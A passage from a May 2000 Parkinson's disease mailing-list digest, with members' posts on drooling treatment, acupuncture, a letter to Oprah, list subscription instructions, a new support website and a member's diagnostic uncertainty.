needles stimulate the release? Do our scientist give any credence to the notion of pathways of energy (or whatever the acupuncturists believe)? Regards, Chuck ========================================================================= Date: Fri, 19 May 2000 20:42:01 -0700 Reply-To: Constance Tate <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Constance Tate <[log in to unmask]> Subject: barely surviving with pd Comments: cc: "Caregivers Are Really Essential (CARE)" <[log in to unmask]> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit can anybody help i wrote this but i can't find an email address for her. any ideas on how i can find it. ivan gave me permission to ask. > connie > Dear Oprah > > > there are so many early parkinsons patients that are barely getting by > > on social security disability that don't have the resources of a > prominent > > national figure like Michael J Fox. no national media has even reported on > > what so many early parkinsons have to go through to try and be independent > > and manage their own lives.their minds are sharp- yet due to the shaking > or > > stumbling many are discriminated against. > > a good example is Ivan Suzman.here is a gentleman who has suffered > > with p. d. for more than 11 years. he is a well educated gentleman who > > went > > from being a college anatomy professor to living on about $700 ssdi and > > is still active in trying to get the message out that there are many in > the > > same circumstances. > > he has done some local tv interviews and in april he did a radio > > interview > > at station WHOM 94.9 fm portland maine. april11.2000 at 5 am it is a > very > > good explanation of all the ramifications of young parkinsons patients. > > you do so many wonderful shows on all subjects and since your > > show with Janet Reno i think you could do a follw up so more people > > will realise how it is for the ordinary person who is struck with > > parkinsons. > > it could happen to anyone. > > i hope you will contact him and listen to a tape of his interview as > > you > > are a person who is able to get messages across so well. > > his address is > > phone -207-797-8488 > > Ivan Suzman e-mail-- > [log in to unmask] > 9 Range Street > Portland, Maine 04103-1135 > > my interest in this suggestion is due to my husband having parkinsons > disease and finding all i could in this regard. i was astonished at how > different > it is for the younger parkinsons than for us. we have social security and > medicare also a good secondary insurance. our coverage is excellent. > the young pd patients often lose their jobs and have to hire an attorney to > get them declared disabled. when it does come it is a pittance and very > hard to make ends meet. i really feel this should be a good show. > sincerely > Connie Tate phone- 909-337-2821 > 29745 Hook Creek Rd. e-mail [log in to unmask] > p.o. box 1220 > Cedar Glen > Ca. 92321 > > > > > > > > > > > ========================================================================= Date: Sat, 20 May 2000 06:42:37 CDT Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: bob armentrout <[log in to unmask]> Subject: virus/worm Comments: To: [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask] Mime-Version: 1.0 Content-Type: text/plain; format=flowed Folks, I am using a really nice little laptop I bought in Nov, and because i caught the happy99 virus twice, i am pretty paranoid over viruses - I thought. I am using a Jan 2000 version of McAfee to check for viruses, and I do a complete scan every three or four days. With the recent talks about worms on the list, I got even more paranoid and I signed up for a free 10 day trial program at mcafee.com - and found 2 worms which I hadn't caught with my normal scans. The reason I was so concerned was that about 5 of my keys weren't working - and I don't drink coffee so I knew I hadn't spilled any on the keyboard. I would highly recommend that you get a new version of the virus scan of your choice and run it. I hope I haven't passed this on to anyone, and if I did, my apologies. PS I normally won't open anything that comes as an attachment, so how I caught these are anyone's guess bob aka tex ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com ========================================================================= Date: Sat, 20 May 2000 05:42:17 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Murray Charters <[log in to unmask]> Subject: Re: Any help for drooling ? In-Reply-To: <[log in to unmask]> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT On 19 May 2000, at 22:16, Rose Rowton wrote: > Hi, > My husband has PD and has so much saliva in his mouth, he drools constantly > wetting the front of his shirts, and if he bends over it just comes right out > of his mouth. He said he cannot control it. Does anyone know if something > can be done about it. > Thanks in advance > Rose Hi Rose, Dr. Calne mentioned this problem in his address to our AGM last week and discussed treatment including botulinum toxin injections. I looked on the NPF site and found this: Drooling in Parkinson Disease: New Treatment, New Hope http://www.parkinson.org/drooling.htm Associated Links http://www.parkinson.org/botulinum.htm http://www.parkinson.org/texthtms/tbotulinum.htm All the best ... murray [log in to unmask] View the Parkinson's Awareness Links at: http://www.geocities.com/janet313/pienet/wwweb/index.html ========================================================================= Date: Sat, 20 May 2000 05:48:50 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Murray Charters <[log in to unmask]> Subject: Oprah .... Was: Re: barely surviving with pd MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT On 19 May 2000, at 20:42, Constance Tate wrote: > can anybody help > i wrote this but i can't find an email address for her. any ideas > on how i can find it. ivan gave me permission to ask. > > connie > > > Dear Oprah > > SNIP Hi Connie & Ivan, I think you will find that most production companies do not accept unsolicited scripts or script ideas. Very few shows and even fewer stars maintain a public email address. (Or at least an address they will admit to!) Consider how you would feel about tens of thousands of people sending you email, and just how upset you would be if you didn't get a prompt reply. The facts of life are that you can rarely if ever send mail and expect a personal reply from anyone in a major starring role whether it is on television, radio or movies. However, you can always send mail to the star in care of the production company that produces the show that the star appears in. Virtually all the production companies maintain a staff that reads and answers mail for the program and the stars. Some personalities expect that copies of all mail is sent to them, others will have copies of mail sent to their own staff and still others will only read mail that someone has deemed of special interest to the star. Oprah is filmed in Chicago. Here is the address of the production co. TVTalkShows.com: Harpo Productions P. O. Box 909715 Chicago, IL 60607 Oprah Checking the address on the Internet I discovered that Oprah is an exception to the above. She has a web site - Online With Oprah http://www.oprah.com/ Click on Email on the lower left side... http://www.oprah.com/email/email_landing.html Show Suggestions Let us know what you'd like to see Oprah talk about http://www.oprah.com/email/reach/email_reach_suggest.html Have a great idea for a future show? Please fill out the form below, type in your suggestion, then click "send." So send your mail! Someone will always read it and, who knows, you may just get a personal answer from Oprah! Best regards ........... murray [log in to unmask] View the Parkinson's Awareness Links at: http://www.geocities.com/janet313/pienet/wwweb/index.html ========================================================================= Date: Sat, 20 May 2000 11:02:42 -0400 Reply-To: Wood Family <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Wood Family <[log in to unmask]> Subject: Canadian editorial on the u s a MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_007B_01BFC24A.EB620020" This is a multi-part message in MIME format. ------=_NextPart_000_007B_01BFC24A.EB620020 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I could use some help. a while back somebody posted an editorial from = a Canadian news paper dealing with the association and interaction with = the United States. I had it saved but lost it while cleaning out some = trash after having been hit by a lighting strike. if any body has it = and would be willing to share it with me it would be greatly = appreciated. thanks for the assistance in advance. d. k. wood ------=_NextPart_000_007B_01BFC24A.EB620020 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD> <META content=3D"text/html; charset=3Diso-8859-1" = http-equiv=3DContent-Type> <META content=3D"MSHTML 5.00.2722.2800" name=3DGENERATOR> <STYLE></STYLE> </HEAD> <BODY bgColor=3D#ffffff><FONT size=3D2> <DIV><FONT size=3D2>I could use some help. a while back = somebody=20 posted an editorial from a Canadian news </FONT>paper dealing = with=20 the association and interaction with the United States. I = had it=20 saved but lost it while cleaning out some trash after having been=20 hit by a lighting strike. if any body has it and would = be=20 willing to share it with me it would be greatly appreciated. = thanks =20 for the assistance in advance.</DIV> <DIV>d. k. wood</DIV></FONT></BODY></HTML> ------=_NextPart_000_007B_01BFC24A.EB620020-- ========================================================================= Date: Sat, 20 May 2000 07:01:06 -0700 Reply-To: Constance Tate <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Constance Tate <[log in to unmask]> Subject: Thank you all Comments: cc: "Caregivers Are Really Essential (CARE)" <[log in to unmask]> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit well i got through but after all identifying necessary there waslittle space for message so cut down a lot. this is reply that came back. now i guess we pray someone picks out our idea and goes with it. connie ----- Original Message ----- From: <[log in to unmask]> To: <[log in to unmask]> Sent: Friday, May 19, 2000 11:59 PM Subject: Thank you! > Thanks connie tate, > > This is just a quick note to let you know that your message went through. > > As you may have assumed, we get too many messages to answer personally, but we > do read them all. If a producer takes interest in what you wrote, you'll > likely be getting a call or an email back. That could be soon or later on. > > We are grateful that you wrote to The Oprah Winfrey Show! > > Sincerely, > The Oprah Online Staff > ========================================================================= Date: Sat, 20 May 2000 12:13:51 EDT Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: anne light <[log in to unmask]> Subject: help Mime-Version: 1.0 Content-Type: text/plain; format=flowed Please remove our email address for your service, we get 120 new messages a day & cannot deal with this at this time, please stop this communication. Thanks ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com ========================================================================= Date: Sat, 20 May 2000 13:12:07 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: janet paterson <[log in to unmask]> Subject: Re: help / subscription instructions Comments: cc: [log in to unmask] In-Reply-To: <[log in to unmask]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" At 12:13 PM 2000/05/20 EDT, you wrote: >Please remove our email address for your service, we get 120 new messages a >day & cannot deal with this at this time, please stop this communication. >Thanks >________________________________________________________________________ >Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com > hi you need to send a command message to the listserver from your e-mail address just like you did when you subscribed to this service no one else can do this for you subscription instructions are always available on my website janet the list elfette ps i don't think our volume is anywhere near 120 messages per day are you sure all of them are from parkinsn? janet paterson 53 now / 41 dx / 37 onset 613 256 8340 / PO Box 171 Almonte Ontario K0A 1A0 Canada visit my website "a new voice" at: http://www.geocities.com/janet313/ ========================================================================= Date: Sat, 20 May 2000 13:28:15 -0400 Reply-To: "B. Gail Vass" <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Gail Vass <[log in to unmask]> Subject: Non-PD: A lesson for us all... MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit BIG ROCKS One day an expert in time management was speaking to a group of business students and, to drive home a point, used an illustration those students will never forget. As he stood in front of the group of high powered overachievers he said, "Okay, time for a quiz." Then he pulled out a one-gallon, wide-mouthed Mason jar and set it on the table in front of him. Then he produced about a dozen fist-sized rocks and carefully placed them, one at a time, into the jar. When the jar was filled to the top and no more rocks would fit inside, he asked, "Is this jar full?" Everyone in the class said, "Yes." Then he said, "Really?" He reached under the table and pulled out a bucket of gravel. Then he dumped some gravel in and shook the jar causing pieces of gravel to work themselves down into the space between the big rocks. Then he asked the group once more, "Is the jar full?" By this time the class was on to him. "Probably not," one of them answered. "Good!" he replied. He reached under the table and brought out a bucket of sand. He started dumping the sand in the jar and it went into all of the spaces left between the rocks and the gravel. Once more he asked the question, "Is this jar full?" No!" the class shouted. Once again he said, "Good." Then he grabbed a pitcher of water and began to pour it in until the jar was filled to the brim. Then he looked at the class and asked, "What is the point of this illustration?" One eager beaver raised his hand and said, "The point is, no matter how full your schedule is, if you try really hard you can always fit some more things in it!" "No," the speaker replied, "that's not the point. The truth this illustration teaches us is: If you don't put the big rocks in first, you'll never get them in at all." What are the 'big rocks' in your life? Your children; Your loved ones; GOD; Your education; Your dreams; a worthy cause; Teaching or mentoring others; Doing things that you love; Time for yourself; Your health; Your significant other. Remember to put these BIG ROCKS in first or you'll never get them in at all. If you sweat the little stuff (the gravel, the sand) then you'll fill your life with little things you worry about that don't really matter, and you'll never have the real quality time you need to spend on the big, important stuff (the big rocks). So, tonight, or in the morning, when you are reflecting on this short story, ask yourself this question: What are the 'big rocks' in my life? Then, put those in your jar first." Hugs, Gail Vass ========================================================================= Date: Sat, 20 May 2000 10:22:30 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Murray Charters <[log in to unmask]> Subject: Unsubscribe / Subcribe Instructions Was: help Comments: cc: anne light <[log in to unmask]> In-Reply-To: <[log in to unmask]> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT On 20 May 2000, at 12:13, anne light wrote: Please remove our email address for your service, we get 120 new messages a day & cannot deal with this at this time, please stop this communication. Thanks ________________________________________________________________________ Hi Anne, All you need to do is send a two word message to the Listserv. To: [log in to unmask] Subject: leave blank Body: SIGNOFF PARKINSN Just 2 words, no signature, no subject, and send it to the [log in to unmask] NOT to [log in to unmask] (PARKINSN is for E-Mail Posts; LISTSERV is for Commands) It is pretty simple, but computers are not intuitive, so it must be exactly as stated........ all the best ......... murray Ps: Alternately, you could go to John Cottingham's site and just click on the SIGNOFF button.... (Remove My Name From PARKINSN Please) The site is: http://www.ionet.net/~jcott/parkmail/maillist.html or http://www.parkinsons-information-exchange-network- online.com/parkmail/maillist.html Now what if someone wants to Subscribe? All you need to do is send a two word + your name message to the [log in to unmask] To: [log in to unmask] Subject: leave blank Body: SUBSCRIBE PARKINSN your first name your last name Just 2 words followed by the subcribers name, in my case SUBSCRIBE PARKINSN Murray Charters in your case SUBSCRIBE PARKINSN xxxxxx yyyyyyyy no signature, no subject, and send it to the LISTSERV... not to PARKINSN.... Use the computer that you want signed onto the List (the LISTSERV software automatically knows where to send the mail) PS: Alternately, you could go to John Cottingham's site AT: http://www.parkinsons-information-exchange-network- online.com/parkmail/maillist.html and just scroll down and click on the SUBSCRIBE button.... (Subcribe to PARKINSN Now) For the real full tutorial you could go to Janet's web page at: http://www.geocities.com/janet313/pienet/5th/basics.html and read at your leisure... the subscriptions - the basics subscription instructions: - the short version subscription instructions: - the long version Or..... you could read John Cottingham's subscription tutorial at: http://www.ionet.net/~jcott/parkmail/sub.html There are most of the options (there's also Simon's site) http://james.parkinsons.org.uk/parkinsn.htm Now what could be easier than that???? :-) ......... murray [log in to unmask] View the Parkinson's Awareness Links at: http://www.geocities.com/janet313/pienet/wwweb/index.html ========================================================================= Date: Sat, 20 May 2000 13:37:58 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: janet paterson <[log in to unmask]> Subject: Re: Non-PD: A lesson for us all... In-Reply-To: <[log in to unmask]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" At 01:28 PM 2000/05/20 -0400, gail wrote: >BIG ROCKS i like this! what about another analogy, like where one's perspective is: from inside the jar or from outside the jar? janet perceptions 'R' us janet paterson 53 now / 41 dx / 37 onset 613 256 8340 / PO Box 171 Almonte Ontario K0A 1A0 Canada visit my website "a new voice" at: http://www.geocities.com/janet313/ ========================================================================= Date: Sat, 20 May 2000 11:04:24 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: "Robert A. Fink, M. D." <[log in to unmask]> Subject: Re: People Interested in Alternative Medicine In-Reply-To: <[log in to unmask]> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Date sent: Fri, 19 May 2000 20:50:09 -0700 Send reply to: Parkinson's Information Exchange Network <[log in to unmask]> From: Charles E Murray <[log in to unmask]> Subject: Re: People Interested in Alternative Medicine To: [log in to unmask] > But why would a needle in a few very specific points on our anatomy > trigger brain chemical release? Do we have a hypothesis that includes > the reason these needles stimulate the release? Do our scientist give > any credence to the notion of pathways of energy (or whatever the > acupuncturists believe)? > Chuck, I am not sure as to where the theories about the "pathways of energy" or "energy meridians" come from. If, however, the endorphin theory of the way acupuncture works is true, then it should not matter *where* the needles are placed. Don't know if this has been tested yet or not. Best, Bob ********************************************** Robert A. Fink, M. D., F.A.C.S., P. C. 2500 Milvia Street Suite 222 Berkeley, California 94704-2636 Telephone: 510-849-2555 FAX: 510-849-2557 WWW: http://www.dovecom.com/rafink/ mailto:[log in to unmask] "Ex Tristitia Virtus" ********************************************* ========================================================================= Date: Sat, 20 May 2000 13:16:57 -0500 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: John Cottingham <[log in to unmask]> Subject: It's Official P-I-E-N-O is GO! Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" What is P-I-E-N-O? P-I-E-N-O is the name of the Online version of the Parkinsons Information Exchange Network. Barbara Patterson is our listowner and the University of Toronto is the host of the listserv that distributes our messages. I am the webmaster of the Online version. The content of the P-I-E-N-O site was formerly on my personal pages in Oklahoma. The Parkinsn Email Message page has been configured and maintained by me since its inception last year. The Parkinsn Archive Treasures pages, Parkinsn Current Topics Index and the Parkinsn's List Drug Database have always fallen under the unbrella of Parkinson's Information Exchange Network with the blessings of OUR "Woman of the Year"! Parkinsn has been international in scope from its birth in November 1994. It is perceived to be an American list...a Canadian list...an Australian list but the outreach is geometric. We reach every part of our global village. We each have so much to share. Returning from Australia this year, I thought of the possibilities we have together to hasten the cure, to improve the quality of our lives..waiting and ways to reach those who need our information, support and even a kind listening ear. My site was at its maximum limits and my budget was limited. I researched my options and consulted with Barbara and asked for her suggestion of a possible name for the new endeavor and Parkinsons-Information-Exchange-Network-Online.com was the resulting conclusion. Who are the present users of the Parkinsn pages? The logs show daily visitors from almost every country of the world. We are linked to by several international medical schools and pharmacology departments. Our information is found on all the major search engines of the world. Every page is translated on the fly into several languages. How is P-I-E-N-O different from the parkinsn mailing list? P-I-E-N-O is now located at an international gateway, on a super fast server, rather than being located at the crossroads of two dirt roads in the heartland with once a week mail service. If in the unlikely event P-I-E-N-O is inaccessible...listen to TV...cause California might have fallen off into the Pacific Ocean..:) The time listed is Pacific Time. P-I-E-N-O has the answers...if you have a question. Both the Online Message page and the Current Topics Index page has a mail management center where you can change or manage your parkinsn list mail by clicking on the appropriate buttons. You don't have to remember hard to understand instructions. P-I-E-N-O has a smart search engine that updates daily the 770 plus files on the P-I-E-N-O site which includes the contents of the last 500 messages sent to the list. The old parkinsn site only had 50 messages and they were not searchable. The message files are not made available to outside search engine spiders. Winona is the only one I let through the gate. Results are returned with the word you were searching for used in context. You can check the P-I-E-N-O messages from any computer on the internet, anywhere in the world. Subscription is required to post messages and postings must come from the same mail account that you subscribed from. If you travel with a notebook computer with a configured mail program you can log on to any ISP and send messages to the list by modifying the SMTP settings in the program to mail.thenameoftheISPyouareloggedinto. Your messages will then be sent and accepted. Any replies with be in your pop mailbox on your home ISP. What is New at P-I-E-N-O? 1. Each page has the P-I-E-N-O logo at the top. 2. The entry point to P-I-E-N-O is at: http://www.parkinsons-information-exchange-network-online.com 3. Listen to Dr. Rick Stell's "Demystifying the Neurological Examination for Parkinsons" available in RealPlayer format as you read the transcript. 4. The background songs (midis) were remixed to play at a lower volume level except on the main page. 5. The P-I-E-N-O message page refreshes every 7 minutes to display new messages that may have come in during Rod McKuen's poetry in song. If you hear nothing...when asked..click yes to install the free plugin. RealPlayer requires you to go through three pages before finally letting you download it..but keep clicking on the FREE link on each page... :) The realplayer plugins are used on future pages with talks. Where do we go from here? I will be adding a calendar of events which I hope groups will use to announce events in which they have an interest, which will allow others sufficient time to attend. Many in the Parkinson's struggle earn their livelihood from that struggle. Cooperation to many groups means meeting and sitting at the same table before governments requesting a pie..of which they desire a slice..to eat in private. P-I-E-N-O needs partners, of those who sit at the tables of power, to share their factual information resources, so this noble international exchange can deseminate it to the hopeful, Parkinson's world. That is our mission statement. [log in to unmask] Search the parkinsn archive online at: http://james.parkinsons.org.uk Catch the Parkinsn's List Online messages at: http://www.ionet.net/~jcott/parkmail/maillist.html Click the navigation ads and use the new search tools John Cottingham ========================================================================= Date: Sat, 20 May 2000 14:06:15 -0600 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: "Kathrynne Holden, MS, RD" <[log in to unmask]> Subject: Re: It's Official P-I-E-N-O is GO! MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit John, words nearly fail me. But not quite -- WOW! Thank you !!! This site is unbelievable. It's so fast now, and that really makes it easy to use. I don't think your work is often acknowledged, so let me just say that I know it has been gargantuan. You have compiled an invaluable information resource. This resource, being based on Woman of the Year Barb Patterson's listserv, should put you in line for "Man of the Year." The two of you are absolutely unbeatable! I thank you for PIENO, and for your time, your work, and your unfailing dedication to the cause of Parkinson's disease. You have truly made a difference. My very best regards, Homeboy -- Kathrynne John Cottingham wrote: > > What is P-I-E-N-O? -- Kathrynne Holden, MS, RD Medical nutrition therapy for Parkinson's disease Author: "Eat well, stay well with Parkinson's disease" "Parkinson's disease: interview and assessment tools for nutrition professionals" "Risk for malnutrition and bone fracture in Parkinson'sdisease," J Nutr Elderly. V18:3;1999. http://www.nutritionucanlivewith.com/ ========================================================================= Date: Sat, 20 May 2000 15:11:01 -0500 Reply-To: "Charles T. Meyer MD" <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: "Charles T. Meyer MD" <[log in to unmask]> Subject: Re: It's Official P-I-E-N-O is GO! MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit AMEN!! Great site John. Thanks for all of your hard work. Charlie ----- Original Message ----- From: "Kathrynne Holden, MS, RD" <[log in to unmask]> To: <[log in to unmask]> Sent: Saturday, May 20, 2000 3:06 PM Subject: Re: It's Official P-I-E-N-O is GO! > John, words nearly fail me. But not quite -- > > WOW! > > Thank you !!! > > This site is unbelievable. It's so fast now, and that really makes it > easy to use. > > I don't think your work is often acknowledged, so let me just say that I > know it has been gargantuan. You have compiled an invaluable information > resource. This resource, being based on Woman of the Year Barb > Patterson's listserv, should put you in line for "Man of the Year." The > two of you are absolutely unbeatable! > > I thank you for PIENO, and for your time, your work, and your unfailing > dedication to the cause of Parkinson's disease. You have truly made a > difference. > > My very best regards, Homeboy -- > Kathrynne > > > John Cottingham wrote: > > > > What is P-I-E-N-O? > > > > > > > -- > Kathrynne Holden, MS, RD > Medical nutrition therapy for Parkinson's disease > Author: "Eat well, stay well with Parkinson's disease" > "Parkinson's disease: interview and assessment tools for nutrition > professionals" > "Risk for malnutrition and bone fracture in Parkinson'sdisease," J Nutr > Elderly. V18:3;1999. > http://www.nutritionucanlivewith.com/ ========================================================================= Date: Sat, 20 May 2000 17:36:36 -0300 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Joao Carvalho <[log in to unmask]> Subject: Smell and brain pathology MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit See friends if this isn't interesting : ---- Emotional Disorder Is Linked to Smell By ERICA GOODE , (N.Y. Times) The sense of smell, as Marcel Proust and his madeleine made clear, is intimately tied to feeling and memory. So it is perhaps not surprising that in schizophrenia, an illness that plays havoc with the emotional capacities of those who suffer from it, the sense of smell is impaired. People with schizophrenia often display what psychiatrists describe as a "blunting" of emotional response that makes it difficult for them to relate to others. But they also, researchers have found, show deficits in their ability to detect, identify and remember odors. Now a new study, appearing in this month's American Journal of Psychiatry, suggests that these abnormalities in the sense of smell have their root in abnormal brain structure. Using magnetic resonance imaging, Dr. Bruce Turetsky, an associate professor of psychiatry at the University of Pennsylvania, and his colleagues examined the olfactory bulbs -- blueberry-sized organs that act as relay stations between the nose and brain -- in 26 schizophrenic patients and 22 comparison subjects. The bulbs of patients with schizophrenia, the researchers found, were on average 23 percent smaller in volume than those of control subjects. The discrepancy in size, said Dr. Turetsky, was large enough that it was clearly visible on the M.R.I. scans. And the difference between the groups persisted even after cigarette smoking, the use of anti-psychotic medications, age and other factors that might influence the size of the bulbs were taken into account. The study, said Dr. Robert Bilder, associate director for human research at the Center for Advanced Brain Imaging of the Nathan Kline Institute for Psychiatric Research in Orangeburg, N.Y., is the first to reveal, in schizophrenia, a structural abnormality in more primitive brain areas, which are also involved in emotional processing. "For the last 10 or 20 years," Dr. Bilder said, schizophrenia researchers have paid "an enormous amount of attention to the higher parts of the brain and the associated higher cognitive functions. This kind of a study is important in moving the focus to lower brain systems, that are crucial to the regulation of emotion and visceral functions." Further investigation of the relationship between olfaction and schizophrenia, Dr. Turetsky said, may also help shed light on the emotional disturbances that are characteristic of the illness. "Smell is so tightly linked to emotional processing," Dr. Turetsky said. "It's essentially impossible to present an olfactory stimulus that doesn't have an emotional valence to it." The olfactory system offers scientists a unique window on both normal and abnormal brain functioning, in part because it is so clearly laid out, with sensory impulses traveling from receptors in the nose to the olfactory bulbs, where they are decoded, and then to olfactory centers in higher brain regions. And the changes in olfaction observed in schizophrenia, researchers believe, may also contain clues to how the disease develops. Many scientists suspect that schizophrenia is a neurodevelopmental disorder, a result of hereditary predisposition and some environmental insult, perhaps occurring during the early months of fetal growth. Whether the smaller size of the olfactory bulbs in schizophrenia reflects abnormalities occurring early in development or stems from a degenerative process later in life is still unknown, Dr. Turetsky said. But, he pointed out, olfactory neurons, unlike those in other areas of the brain, die and are replaced throughout life, displayinga plasticity that makes the olfactory system relatively resistant to degenerative disease. A loss of smell or abnormalities in odor identification or detection is also seen in some degenerative diseases, like Alzheimer's. The next task facing the researchers, said Dr. John Q. Trojanowski, a professor of pathology and laboratory medicine at Penn, is to show that the smaller volume of the olfactory bulbs is specific to schizophrenia and is not found in other illnesses, like manic depression, alcoholism or dementia. Although scientist have been studying the brains of patients with schizophrenia for a century or more, no one appears to have ever noticed a difference in the size of the olfactory bulbs. One reason, Dr. Trojanowski said, may be that early researchers saw no particular reason to pay attention. "If you look at how the bulbs sit in the skull when you take out the brain, it's easy to leave them behind," Dr. Trojanowski said. ---------- Cheers , Joao Paulo - Salvador,BA,Brazil [log in to unmask] ========================================================================= Date: Sat, 20 May 2000 13:49:53 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Juanita Hibbert <[log in to unmask]> Subject: Re: It's Official P-I-E-N-O is GO! In-Reply-To: "Kathrynne Holden, MS, RD" <[log in to unmask]>'s message of Sat, 20 May 2000 14:06:15 -0600 Content-Type: Text/Plain; Charset=US-ASCII Content-Transfer-Encoding: 7Bit MIME-Version: 1.0 (WebTV) John, thank you for a wonderful resource! Juanita CG for George 74 dx 98 ========================================================================= Date: Sat, 20 May 2000 17:10:06 EDT Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: "<Audrey Cashwell>" <[log in to unmask]> Subject: DR.,and Parkinson's MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit WelI was told 2 yr's ago I have Pd, they put me on Sinemet cr , and then I was going to do the spect scan ,and then I said no ,I didn't want any radiation in my boby, so then the DR. said well I dont think you have pd , now they are diffrent Dr.'s here . So I thinking he said I dont have PD because I wont take part in his study.1year later ,well I am not happy with my neurologist, all he gives me are my meds ,and see you in 6moths, not good , Two days ago I went to a new neurologist, well he said your to young to be on Sinemet cr thats for later in the PD , then he said I don't think you have Parkinsons, go have the scan done that would tell you if you do. What to do ,now I 'am crying nobody to talk to about this , I told my self I can't just sit on my --- this time ,and let things go I have fight for my self . Two days on the phone , I found a new DR. but now I pray I could get another referral from my DR. I don't even want to take my meds . Audrey C From CT. ========================================================================= Date: Sat, 20 May 2000 17:22:47 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Camilla Flintermann <[log in to unmask]> Subject: PIENO Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Oh John that's SUPER-- what a job! As usual, you are makinglife a lot easier for us, and many many thanks! Afterthought: HOW should we pronounce it? PEE-NO? PIE-N-O? As the "father" of this miracle, you should get to decide! ========================================================================= Date: Sat, 20 May 2000 17:30:38 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Camilla Flintermann <[log in to unmask]> Subject: Re: DR.,and Parkinson's In-Reply-To: <[log in to unmask]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Dear Audrey-- no wonder you are upset---but I have to wonder just what the scan is for? As you probably know, a CAT scan or MRI does NOT DIAGNOSE PD. That is done "clinically", by the neuro looking at the way you look, walk, etc. The scans are used to rule out other possible causes of your symptoms. Have you seen a neuro who is a movement disorder specialist, and sees A LOT of PWPs? Did the Sinemet seem to help you? I don't know where you live, but you can CALL the APDA AND THEY CAN TELL YOU THE NAMES OF MOVEMENT DISORDER SPECIALISTS NEAR YOU. HERE IS THE NUMBER: * The easy way to find a MOVEMENT DISORDER SPECIALIST is to dial 1-888-400-2732. This toll free number will ring in the American Parkinson Disease Association Information & Referral Center. * You can also email the Parkinson's Disease Foundation for a list of Movement Disorder Specialists in your area. Their email is: <[log in to unmask]> I'm glad you told the list about the problem, and I expect other folks will have ideas too---keep in touch..... ********* Audrey wrote: > WelI was told 2 yr's ago I have Pd, they put me on Sinemet >cr , and then I was going to do the spect scan ,and then I said no ,I didn't >want any radiation in my boby, so then the DR. said well I dont think you >have pd , now they are diffrent Dr.'s here . So I thinking he said I dont >have PD because I wont take part in his study.1year later ,well I am not >happy with my neurologist, all he gives me are my meds ,and see you in >6moths, not good , Two days ago I went to a new neurologist, well he said >your to young to be on Sinemet cr thats for later in the PD , then he said I >don't think you have Parkinsons, go have the scan done that would tell you if >you do. > What to do ,now I 'am crying nobody to talk to about this , I >told my self I can't just sit 